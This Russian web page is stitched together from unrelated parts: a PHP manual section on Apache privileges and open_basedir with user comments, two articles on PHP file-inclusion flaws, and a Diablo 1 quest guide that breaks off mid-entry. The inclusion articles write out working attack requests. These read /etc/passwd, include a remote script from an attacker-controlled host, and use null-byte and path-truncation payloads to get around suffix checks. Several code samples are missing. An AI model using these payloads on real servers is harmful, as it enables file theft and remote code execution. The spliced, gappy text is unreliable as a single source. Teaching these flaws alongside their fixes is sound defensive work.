Если PHP используется как модуль Apache, он наследует права пользователя, с которыми был запущен веб-сервер (обычно это пользователь "nobody"). Это влияет на обеспечение безопасности и реализацию авторизации. Например, если вы используете PHP для доступа к базе данных, которая не имеет встроенного механизма разграничения доступа, вам придется обеспечить доступ к БД для пользователя "nobody". В таком случае вредоносный скрипт может получить доступ к базе данных и модифицировать ее, даже не зная логина и пароля. Вполне возможна ситуация, при которой веб-паук неверными запросами на страницу администратора базы данных может уничтожить все ваши базы данных. Вы можете избежать такой ситуации при помощи авторизации Apache или разработав собственную модель доступа, используя LDAP, файлы.htaccess или любые другие технологии, внедряя соответствующий код в ваши PHP -скрипты.

Достаточно часто используются такие настройки безопасности, при которых PHP (имеется в виду пользователь, с правами которого выполняется Apache) имеет минимальные привилегии, например, отсутствует возможность записи в пользовательские директории с помощью PHP . Или, например, отсутствует возможность работать с базой данных. При этом система безопасности не позволяет записывать как "хорошие", так и "плохие" файлы, или провести "хорошие" или "плохие" транзакции.

Распространенной ошибкой является запуск Apache с правами суперпользователя или любое другое расширение полномочий веб-сервера.

Расширение привилегий веб-сервера до полномочий суперпользователя угрожает работоспособности всей системы, поэтому такие команды, как sudo, chroot и другие способы запуска с правами суперпользователя должны выполняться исключительно теми, кто профессионально разбирается в вопросах безопасности.

Существует несколько простых решений. Используя open_basedir , вы можете ограничить дерево доступных директорий для PHP . Вы так же можете определить область доступа Apache, ограничив все действия, совершаемые из веба не пользовательскими или несистемными файлами.

7 years ago

Doc_root already limits apache/php script folder locations.

open_basedir is better used to restrict script access to folders
which do NOT contain scripts. Can be a sub-folder of doc_root as in php doc example doc_root/tmp, but better yet in a separate folder tree, like ~user/open_basedir_root/. Harmful scripts could modify other scripts if doc_root (or include_path) and open_basedir overlap.
If apache/php can"t browse scripts in open_basedir, even if malicious scripts uploaded more bad scripts there, they won"t be browse-able (executable).

One should also note that the many shell execute functions are effectively a way to bypass open_basedir limits, and such functions should be disabled if security demands strict folder access control. Harmful scripts can do the unix/windows version of "delete */*/*/*" if allowed to execute native os shell commands via those functions. OS Shell commands could similarly bypass redirect restrictions and upload file restrictions by just brute force copying files into the doc_root tree. It would be nice if they could be disabled as a group or class of functions, but it is still possible to disable them one by one if needed for security.

PS. currently there is a bug whereby the documented setting of open_basedir to docroot/tmp will not work if any include or require statements are done. Right now include will fail if the included php file is not in BOTH the open_basedir tree and the doc_root+include_path trees. Which is the opposite of safe.
This means by any included php file must be in open_basedir, so is vulnerable to harmful scripts and php viruses like Injektor.

16 years ago

There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:

ServerName www.example.com
DocumentRoot /www-home/example.com
[...]

php_admin_value open_basedir \ "/www-home/example.com/:/usr/lib/php/"

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker

10 years ago

Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn"t work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir /www/site1/
Now all php scripts are locked in the directory.

13 years ago

I"m running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I"ve set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn"t have admin privilegies:)

В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в php-сценариях — include "баге". Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.

Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Уязвимость php — include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

php функция include, а также include_once

Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

" "?>"

Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd 🙂) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).

Примеры запросов:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:

Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd
На выходе получил содержимое файла passwd сервера
П.С: Если на сервере в опциях php включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: "failed opening ‘filename’ for inclusion…"! Но в данном случае режим отладки был отключён (не всё коту масленица).

"Здорово! Вполне возможно что моё предположение по поводу include верно!"-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой php модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные 🙂 случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:

Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит 🙂). Сценарий был размещён по адресу:

http://pupkin.halava123.ru/cmd.txt

Вася выполнил следующий запрос:

http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь 🙂 В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс — подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом: "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" — гордо отвечау я 🙂 . Вот некоторые (отнюдь не все) из них:

Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module.php”).

Более сложный с точки зрения реализации метод борьбы с вредителями 🙂 — это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари…).
Пример:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту { case news: include("news.php"); break; case articles: include("guestbook.php"); break; ... // и т.д. default: include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница break; }

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).
Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).

Хорошо Плохо

Налицо обычная уязвимость класса PHP-инклудинг. Но, человек, для которого я делал аудит, заявил мне, мол, эту уязвимость эксплуатировать невозможно, поэтому она не считается. Пришлось с ним поспорить

Что такое PHP-include

Проведем маленький ликбез по этой уязвимости. PHP-include — уязвимость которая позволяет «приинклудить» произвольный файл, например такой код:

$module=$_REQUEST["module"]; include("modules/".$module);

И так как в файле «/etc/pаsswd» обычно нет php тегов (), то он выведется в браузер, как вывелся бы html код вынесенный за php теги в обычном php скрипте. Конечно чтение файлов всего лишь одна из возможных реализаций этой атаки. Основная же все таки это инклудинг нужных файлов с нужным php кодом.

Вернемся к примеру. Усложним его:

$module=$_REQUEST["module"]; include("modules/".$module."/module.class.php");

$module = $_REQUEST [ "module" ] ;

include ("modules/" . $module . "/module.class.php" ) ;

Как видите теперь в конце к нашей переменной добавляется строка, которая нам мешает приинклудить любой файл. Так вот, многие функции php не являются бинарно безопасными, т.е такие функции считают NULL-байт за конец строки. Обращаемся к скрипту так:

script.php?module=../../../../../../../../../../../etc/pаsswd%00

И если дирректива magic_quotes отключенна, то мы снова увидим содержимое /etc/pаsswd

Есть ли уязвимость?

Вернемся к нашему коду:

$module=addslashes($_REQUEST["module"]); include("modules/".$module."/module.class.php");

$module = addslashes ($_REQUEST [ "module" ] ) ;

include ("modules/" . $module . "/module.class.php" ) ;

Как видно, наша переменная принудительно проходит через «addslashes» и если мы попытаемся использовать NULL-байт то он будет преобразован в «\0» и инклуда не выйдет.

Но прогресс не стоит на месте! Оказывается некие ребята из USH нашли в PHP интересную фичу PHP filesystem attack vectors (англ.). Если в кратце пересказать суть статьи, то php обрабатывает пути с использованием нескольких особенностей:

  • Усечение пути — php обрезает строку пути до заданной длины MAXPATHLEN (В Windows до 270 символов, в NIX — обычно 4096, в BSD — обычно 1024)
  • Нормализация пути — php обрабатывает путь специальным образом, удаляя лишние символы «/» и «/.» и их различные комбинации
  • Приведение к каноническому виду — убираются лишние переходы, например «dir1/dir2/../dir3» приводится к «dir1/dir3/» при этом существование дирректории «dir2» не проверяется, и прочие похожие преобразования (т.е продолжение нормализации)

Теперь по порядку что происходит с переданным путем:

  1. Если путь передан относительный, то к нему вначале подставляются значения из диррективы include_path
  2. Далее путь обрезается до определенной длины в зависимости от платформы
  3. Проводится нормализация пути
  4. Путь приводится к каноническому виду

Теперь попробуем воспользоваться этим. Попробуем приинклудить некий файл «test.php» который находится в дирректории «modules/». Для этого добавляем в конец симолы «/.» таким образом чтобы общая длина, вместе с именем файла, значением из include_path была заведомо больше 4096 символов.
script.php?module=test.php/././.[...]/././.

При этом необходимо подгадать так, чтобы вся строка пути (уже обрезанная) заканчивалась на точку (важно!), а не на слеш. Для этого можно добавить один слеш вот так:

И один из этих вариантов сработает точно.

Анализируем

Смотрим по порядку какие преобразования произойдут с путем
modules/test.php//././.[...]/./././module.class.php
4200 символов

Первое что происходит со строкой, это к ней добавляется значение из include_path:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 символа

Затем строка ускается до MAXPATHLEN (допустим 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 символов

Здесь видно зачем нужно было добавлять еще один слеш (иначе бы строка обрезалась до слеша). Теперь производится нормализация этой строки, сначала убераются лишние слеши:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 символов

В итоге получаем правильный путь до нужного нам файла, и этот путь уже передастся в инклуд, и приинклудится нужный нам файл.

То есть вот так мы приинклудим наш файл «test.php» успешно.
script.php?module=test.php//././.[...]/././.

А значит уязвимость есть и не теоритическая. В итоге мой клиент проспорил, а я выйграл спор и 10 рублей на которые мы поспорили. Конечно, помимо 10 рублей я выйграл еще и доверие и уважение в глазах клиента, что тоже не мало важно.

Заметки

Здесь я рассмотрю пару интересных особенностей эксплуатации этой уязвимости.

Выход из дирректории

Рассмотрим такой код:

) ;

Опустим тот момент, что можно вопсользоваться RFI и приинклудить файл с удаленного сервера. Допустим на сервере «allow_url_include=OFF».

Рассмотрим ситуацию когда нам надо приинклудить файл из дирректории ниже:
script.php?module=../test.php/././.[...]/././.

Такое обращение выдаст ошибку, типа файл не найден. И для того чтобы это обойти нам надо обратится вот так:
script.php?module=blabla/../../test.php/././.[...]/././.

Я не зря описывал про канонизацию путей. Благодаря ей дирректория «blabla» не обязательно должна существовать.

Добавление просто слешей

Внимательный читатель наверное заметил что в описании нормализации я написал что мол убираются лишние слеши «/» и точки со слешами «/.», так почему бы не использовать просто слеши, дабы избежать лишнего гемора с попаданием точки в конец.

Все дело в алгоритмах, то есть, слеш с точкой «/.» убирается полностью. А вот с просто слешами дело обстоит немного сложнее, при нормализации каждые два слеша заменяются на один до тех пор пока не останется один(!) слеш, пример:

/home/site/public_html/modules/test.php//////////////////
57 символов

/home/site/public_html/modules/test.php/////////
48 символов

/home/site/public_html/modules/test.php/////
44 символов

/home/site/public_html/modules/test.php///
42 символов

/home/site/public_html/modules/test.php//
41 символов

/home/site/public_html/modules/test.php/
40 символов

Небольшое отступление:

Причем если обратить внимание на многие, популярные хак ресурсы, то можно заметить эту ошибку. Я так понимаю эта ошибка началась со статьи некоего Raz0r где он предложил вектор:
index.php?act=../../../../../etc/pаsswd/////[…]/////

И обратите внимание даже журнал ][акер повторил эту ошибку в своей статье . При этом даже в оригинальной статье USH было четко написанно что использовать просто слеши не желательно, и необходимо чтобы в конце перед нормализацией остался символ точки. А просто слеши (даже без точки на конце) работают только в PHP c Suhosin.

То есть использовать слеш с точкой «/.» — более универсальный метод, так как, в отличие от слешей «/», он работает для всех версий php.

Заключение

Надеюсь эта статья поможет вам понять, что в своих скриптах нельзя оставлять даже малейшие уязвимости, так как рано или поздно под них можно разработать свой вектор атаки, что может привести к серьезным последствиям.



Квесты (они же задания) – неотъемлемая часть игрового процесса. В Diablo список квестов от игры к игре может очень сильно варьироваться, и обязательными из них будут только последние два – Архиепископ Лазарь и Диабло . С остальными вам может повезти, и они сгенерируются в игре. А может и не повезти. В любом случае этот небольшой обзор поможет вам сориентироваться в заданиях самой старой игры серии (или просто припомнить их и поностальгировать).

1) Мясник
Локация : 2 уровень, подземелья
Выдает : раненый горожанин
Недалеко от входа в монастырь, на дороге лежит истекающий кровью человек. Если поговорить с ним, то он перед смертью расскажет, что некий архиепископ Лазарь заманил группу горожан в ловушку и скормил их демону по имени Мясник. Горожанин попросит отомстить за убитых, чтобы их души могли попасть на небеса.
В подземельях на 2 уровне находится искомая комната Мясника. Она квадратная, с единственной дверью, заполненная трупами. Откроете – и услышите до боли знакомое, страшенно-хрипящее «Ah-h-h-h, fresh meat!». Размахивая топором, демон бросится на вас. Выполнить этот квест персом «с нуля» - задача не из легких: Мясник оч больно рубится топором, снося за раз по половине здоровья. Воином нужно будет быстро махать оружием, пить лечилки и молиться, чтобы у вас хватило лечебных бутылочек. Мошенница или колдун могут повести демона за собой к решетчатой стене и попытаться захлопнуть дверь перед самым носом монстра. Удалось – все, дело сделано, Мясника можно убить магией или стрелами через решетку, а вам он ничего не сделает. У Мясника нет иммунитета к огню, есть некоторый иммунитет к магии.
Награда : после своей смерти демон оставит вам Топор Мясника , мощное на первых порах оружие с хорошим уроном.

2) Отравленный источник
Локация : 2 уровень, подземелья , Темный коридор
Выдает : целитель Пепин
Как только вы побываете на 1 уровне подземелий, поднимитесь наверх в город и подойдите к лекарю Пепину, вероятно, он даст вам этот квест. Пепин расскажет, что с недавнего времени жители Тристрама заболели, и причиной тому – источник воды. Целитель считает, что он может быть отравлен, и попросит вас очистить его, пока еще не слишком поздно для горожан.
В подземельях на 2 уровне находится Темный коридор – это прямоугольное строение, окруженное свечами и канделябрами, с разломом посередине. Этот самый разлом и ведет к источнику. Чтобы выполнить квест целителя, вам потребуется убить всех монстров, обитающих около отравленного источника. Населяют его павшие различных видов и козлолюди, как милишники, так и лучники. Когда вы убьете последнего монстра, желтый цвет воды в источнике сменится ярко-синим, а это значит, что квест завершен.
Награда : Пепин подарит вам Кольцо Истины , на первое время это будет ваше самое лучшее кольцо.

3) Проклятие короля Леорика
Локация : 3 уровень, подземелья , Усыпальница короля скелетов
Выдает : Огден
Побывав на 2 уровне подземелий, вы можете попытать счастья у Огдена, хозяина таверны, и получить квест о проклятом короле. Огден поведает вам достаточно длинную историю о том, что раньше ими правил благородный и честный человек, верящий в свет и справедливость. Его звали Леориком, и жители любили его. Однако потом все, что было в короле хорошего, ушло, а сам он стал страдать от непонятного сумасшествия. Под конец своей земной жизни он окончательно спятил, а похищение его единственного сына Альбрехта заставило Леорика биться в ярости и убивать всех вокруг. После гибели Леорик так и не нашел покой, и его дух продолжает пугать и терзать горожан Тристрама. Вам нужно освободить душу проклятого короля.
На 3 уровне подземелий находится квадратная Усыпальница короля скелетов, с единственным входом на южной стороне. Вам туда. Усыпальница состоит из нескольких частей: в самом начале на входе вы попадете в зал с двумя комнатками. В комнатах есть рычаги, которые уберут решетки, преграждающие путь дальше. За решетками вас встретит Леорик, король-скелет, в окружении приспешников. Победить их, если они навалятся всей кучей, весьма сложно, поэтому лучше выманить их ко входу в усыпальницу и там перебить. Сложность квеста еще и в том, что Леорик крадет у вас жизнь и поднимает своих скелетов из мертвых. Врукопашную его убить весьма сложно, и лучшим вариантом будет использование магии Святой болт . Либо вы можете попытаться перед тем, как поднять вторую решетку, подманить к себе Леорика и убить его. Т.е. использовать тактику убийства Мясника. Но так получается редко, Леорик зачастую очень далеко стоит от решетки и не всегда к вам подбежит. Поэтому святая магия – это наилучший вариант. После смерти Леорика остальных скелетов будет убить намного проще, а в самой Усыпальнице можно неплохо поживиться.
Награда : после своей гибели Леорик оставит Корону Нежити , великолепный головной убор для милишников (за счет кражи жизни).

4) Вывеска Огдена
Локация
Выдает : Огден
После визита на 3 уровень подземелий Огден может выдать вам этот любопытный квест. Он поведает, что какие-то демоны периодически выбирались из своих подземелий и доходили до его таверны «Восходящее солнце». В одну из последних ночей они украли вывеску таверны, и Огден не может взять в толк, зачем она им понадобилась. В любом случае, он попросит по возможности вернуть ему вывеску, чтобы не тратиться на новую.
На 4 уровне подземелий ищите переход на 5 уровень. Он будет окружен стенами и решетками, которые как раз связаны с нашим квестом. Сначала вам нужно будет зайти в южный вход и поговорить с демоном Снотспиллом . Он скажет, что «магию» (читай – вывеску) охраняют какие-то здоровяки, и он хочет, чтобы вы ее отобрали. Далее идите в северный вход, где обитают искомые «здоровяки» - демоны-надсмотрщики. Они охраняют сундук, в котором и лежит вывеска. Вы можете принести ее обратно Снотспиллу, который от радости будет говорить о том, что владеет «Великой Магией» и выпустит на вас банду своих приспешников (с этой точки зрения квест вы проваливаете). Либо вы можете вернуть вывеску Огдену, который вручит вам награду. Во втором случае, вернувшись обратно на уровень, вам все равно придется сражаться со Снотспиллом и его бандой, которые отделяют вас от лестницы на 5 уровень, но зато у вас будет награда.
Награда : Колпак Арлекина , симпатичная шапочка, повышающая все ваши характеристики на +2.

5) Гхарбад Слабый
Локация : 4 уровень, подземелья
Выдает : Гхарбад Слабый
На 4 уровне подземелий немного особняком, не пытаясь на вас напасть, стоит Гхарбад Слабый, козлочеловек. Он проблеет, чтобы вы его не убивали, потому что он может оказаться вам полезен. Уходите в другую локацию и вернитесь к нему. Гхарбад скажет, что ваша награда еще не готова, и попросит подождать. Снова покиньте его и вернитесь. Козлочеловек ответит, мол, «почти готово, чуть-чуть осталось». Последний третий визит к нему окончится дракой: Гхарбад скажет, что за награду нужно сразиться и поднимет на вас палицу. Собственно, это последнее, что он успеет сделать, потому что сразить его не составляет труда.
Награда : магическая вещь, которую «он для вас сделал». От себя скажу, что вещь в большинстве случае довольно бестолкова, но с точки зрения продажи вполне может пригодиться.

6) Доблесть
Локация
Выдает : Книга Крови
Спустившись на 5 уровень (это начало катакомб) и немного побродив там, вы можете найти группу комнат, которые вместе образуют не то ромб, не то крест – сложно сказать. На юго-западе находятся две двери, которые открывают вход в эти комнаты. На входе вы можете прочитать Книгу крови, где сказано примерно следующее: «Запертая вратами крови, отделенная коридорами огня, доблесть ждет героя, который ее разбудит». Это начало легенды о древнем герое Аркейне, который уже бывал в этом лабиринте когда-то, сражаясь с толпами чудовищ. По слухам, Аркейн, справедливо полагая, что зло может вернуться, решил помочь герою, который пойдет его дорогой, и спрятал в лабиринте свой легендарный доспех Доблесть. В свое время Доблесть защищала Аркейна от чудовищ, и теперь пришло ее время защищать вас. Однако Аркейн хитро спрятал доспехи, чтобы найти их смог только настоящий герой. То есть вы.
В легенде есть все подсказки. Проходите в следующую комнатку, берите Камень крови и помещайте его на Пьедестал крови . Пьедестал частично заполнится кровью, а вы увидите, как открылась одна из дверей с северной стороны. Идите туда, убивайте чудовищ-охранников и берите следующий камень крови. Повторяйте процесс и берите последний третий камень из комнаты на юго-восточной стороне. После этого врата крови откроют «коридор огня» - тоннель, на стенах которого висят факелы. Дальше вам останется перебить оставшихся монстров и забрать доспех.
Награда : Доблесть Аркейна , прекрасный образец кольчужных доспехов.

7) Магический камень
Локация : 5 уровень, катакомбы
Выдает : Гризвольд
Побывав на 4 уровне лабиринта, вы можете после разговора с Гризвольдом получить этот любопытный квест. Кузнец расскажет, что некоторое время назад мимо Тристрама путешествовали никому не известные черные всадники, в плащах, скрывающих их лица. По слухам, при себе они имели камень, замечательный своими магическими свойствами, однако по неясным причинам камень оказался ими утерян. Как предполагает Гризвольд, найти его можно в катакомбах.
На 5 уровне лабиринта, если хорошо поискать, можно найти небольшой пьедестал, на котором и лежит таинственный камень. Принесите его Гризвольду, и он на радостях подарит вам уникальное кольцо.
Награда : Небесный Обод , уникальное кольцо, которое по характеристикам превосходит Кольцо Истины.

8) Комната костей
Локация : 6 уровень, катакомбы , Комната костей
Выдает : Книга
Побродив по 6 уровню лабиринта, вы можете найти книгу. В ней будет рассказана история о храбрецах и героях, которые пали жертвами своей жадности и попытались разграбить запретную Комнату костей, где находились сокровища павших. Никто из тех воинов не вернулся, и все они были обращены и прокляты за свою алчность. Книга предостережет вас от следования этой дорогой и откроет проход в Комнату костей. Без прочтения книги попасть в Комнату костей нельзя. Проход в Комнату костей квадратный, с колоннами и винтовой лестницей, спутать его с чем-то еще сложно.
Спустившись в Комнату костей, вам сначала придется столкнуться с группой невидимок и скелетов. В одной из комнат подземелья их очень много: это комната, пол в которой усеян черепами; основное поле битвы будет именно там. Удобно будет встать на входе в комнату, чтобы враги не могли выбежать и окружить вас, тем более, что многие из них – невидимки. Перебив всех монстров в центральной комнате, разбирайтесь с остальными. О сокровищах легенда не врет: на уровне весьма много сундуков, и есть, чем поживиться. В самом дальнем углу Комнаты есть постамент с книгой, прочитав которую вы узнаете заклинание Хранитель и закроете квест.
Награда : сокровища из сундуков и заклинание Хранитель .

9) Холлы слепых
Локация : 7 уровень, катакомбы , Холлы слепых
Выдает : Книга Слепых
На 7 уровне при должной удаче вас ждет Книга слепых. В ней вы найдете замечательное стихотворение, и я не откажу себе в удовольствии процитировать его здесь:
I can see what you see not.
Visions milky than eyes rot.
When you turn they will be gone
Whispering their hidden song.
Then you see what cannot be:
Shadows move where light should be.
Out of darkness out of mind
Сast down to the halls of the blind.

Книга откроет двери в две небольшие квадратные комнаты, которые стоят по диагонали друг к другу и образуют восьмерку. Они кишат ткачами иллюзий, которые появляются из ниоткуда и так и норовят вас упокоить. В принципе, ничего серьезного они из себя не представляют, главное – не терять бдительности. Победив их всех, в комнате вы найдете ваш приз.
Награда : Оптический Амулет , ценный и редкий образчик уникальных амулетов.
P.S. В качестве награды для вас лично могу предложить послушать песню команды Dargaard, которая так и называется «Down to the Halls of the Blind».

10) Жар Безумец
Локация : 8 уровень, катакомбы
Выдает : Жар Безумец
Этот квест – аналог такового с Гхарбадом. Иногда на 8 уровне лабиринта вы можете найти комнату-библиотеку, где стоят книжный шкаф и множество пьедесталов со свитками. Посреди всего этого великолепия стоит, опершись на трость, колдун Жар. Он не будет пытаться на вас напасть, лишь предостережет от того, чтобы вы что-то трогали в «его библиотеке». Если любопытство возьмет верх, и вы попытаетесь забрать у него книгу из шкафа, Жар впадет в ярость и начнет бросаться в вас заклинаниями. Колдуна убить намного сложнее, чем Гхарбада, так что подумайте, прежде чем с ним связываться. Он неплохо владеет магией и к тому же исчезает, когда вы близко к нему подходите, чтобы перенестись в другое место комнаты. Удобнее его побеждать персонажем с дистанционной атакой, будь то, скажем, мошенница. Воином же вам придется побегать за Жаром по библиотеке. Хотя может повезти, и вы сможете «запереть» его в углу, он тогда не сможет телепортироваться.
Награда : книга и свитки из библиотеки, а также магический предмет

11) Черный гриб
Локация : 9 уровень, пещеры
Выдает : Грибной том
Оказавшись на 9 уровне, уже в пещерах, вы можете найти там этот симпатичный квест, самое сложное – не пропустить его составляющие. На земле в пещерах растут черные грибы, однако собрать вы их не сможете до тех пор, пока не отыщите Грибной том и не отнесете его ведьме Адрии . Удобно, если вы сначала нашли том, а уже потом сам гриб. В любом случае, Адрия расскажет вам, что она экспериментирует с зельями, а в книге, которую вы ей принесли, множество замечательных рецептов. Для одного из них ей и понадобится вышеупомянутый черный гриб.
Отыскав на 9 уровне этот самый гриб, несите его к ведьме. Она расскажет, что у нее получается великолепное зелье, и попросит принести еще один компонент: эликсир от целителя. После разговора с Пепином вы узнаете, что ему не хватает для этого эликсира мозга демона . Спустившись в пещеры, убейте там любого демона, и он оставит после смерти мозг, столь необходимый целителю.
Вернувшись в город, отнесите этот компонент эликсира Пепину, и он даст вам симпатичный пузырек. Однако попытки вернуть его Адрии успехом не увенчаются: она лишь раздраженно скажет, что он ей не нужен, и что вы можете оставить его себе.
Награда : Призматический эликсир , повышающий все параметры героя на +3.

12) Наковальня ярости
Локация : 10 уровень, пещеры
Выдает : Гризвольд
Побывав на 9 уровне пещер, вы можете попытать счастья и получить у Гризвольда этот квест. Кузнец расскажет, что его мастерство определяется не только его опытом, но также и наковальней, стоящей у него в мастерской. Он поведает вам легенду о великой Наковальне ярости, на которую были наложены самые разные чары и нанесены колдовские руны. По слухам, оружие, которое можно было выковать на ней, обладало поистине потрясающими качествами, и если бы вы нашли ее, Гризвольд постарался сделать вам что-то особенное.
Побродив по 10 уровню пещер, найдите небольшой островок посреди лавовой реки. Пройти туда можно лишь по тонкой дорожке, а сам островок кишит монстрами, защищающими Наковальню. Многие из них, если не все, владеют дистанционной атакой, поэтому будьте осторожны, играя персонажем-милишником. Лучше всего не рисковать и разбираться с монстрами понемногу. Выдержать их совместную атаку весьма сложно, если не пить зелья со скоростью звука. Победив всех врагов, забирайте Наковальню и принесите ее Гризвольду. Счастливый кузнец сдержит свое обещание и выкует вам меч.
Награда : Клинок Гризвольда , уникальный меч с хорошим уроном и магическими свойствами.

13) Военачальник крови
Локация : 13 уровень, преисподняя
Выдает : Стальной том
Отчасти это задание похоже на таковое с вывеской Огдена: квест закрывает переход на 14 уровень лабиринта. Лестница, ведущая вниз, окружена стеной, и открыть там проход можно, только прочитав Стальной том. Том находится на привычном для квестовых книг пьедестале. Он поведает вам историю о Лорде Крови, жестоком и мрачном Бартуке, который продал князьям тьмы свою душу в обмен на стратегическое мастерство полководца. С тех пор Бартук одержал множество побед над своими врагами, однако его жестокость не знала границ, а душа – покоя. И со временем он полюбил купаться в крови убитых противников, что приносило спокойствие его душе. Он забыл свое имя, а остальные называли его только Военачальником крови. Именно его вам и нужно будет победить, чтобы пробиться на нижние уровни лабиринта.
Сам Бартук и без того весьма силен, однако его еще окружают приспешники в лице черных рыцарей. Поэтому вам проще будет сначала разобраться с ними, выманивая их из комнаты по одному, а уже потом приниматься за самого военачальника. После гибели он оставит вам комнату, полную стоек с оружием и доспехами, а также уникальный меч.
Награда : Инферно , уникальный клинок с огненным повреждением, а также оружие и доспехи на стойках.

14) Лакданан
Локация : 14 уровень, преисподняя
Выдает : Лакданан
На 14 уровне преисподней вы можете столкнуться с черным рыцарем, которого зовут Лакданан. Не спешите причислять его к команде «плохишей» типа Гхарбада и Жара: это на самом деле благородный и честный персонаж. Лакданан поведает вам свою историю, которую подтвердят многие жители Тристрама. Когда-то давно он был командиром рыцарей короля Леорика и служил верой и правдой своему королю. Он оставался лоялен своему правителю, даже когда Леорик отправил свои войска под предводительством Лакданана на верную гибель в войне с Ветмарчем. Однако Лакданан и некоторые его воины выжили. Им пришлось спешно отступать и возвращаться домой, где их заклеймили предателями.
